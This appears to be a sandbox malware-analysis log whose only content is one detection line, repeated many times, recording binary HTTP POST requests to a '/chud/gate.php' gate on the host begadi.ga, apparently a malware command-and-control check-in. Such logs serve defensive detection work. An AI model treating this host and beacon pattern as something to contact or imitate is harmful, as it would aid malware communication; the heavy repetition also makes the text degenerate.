Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
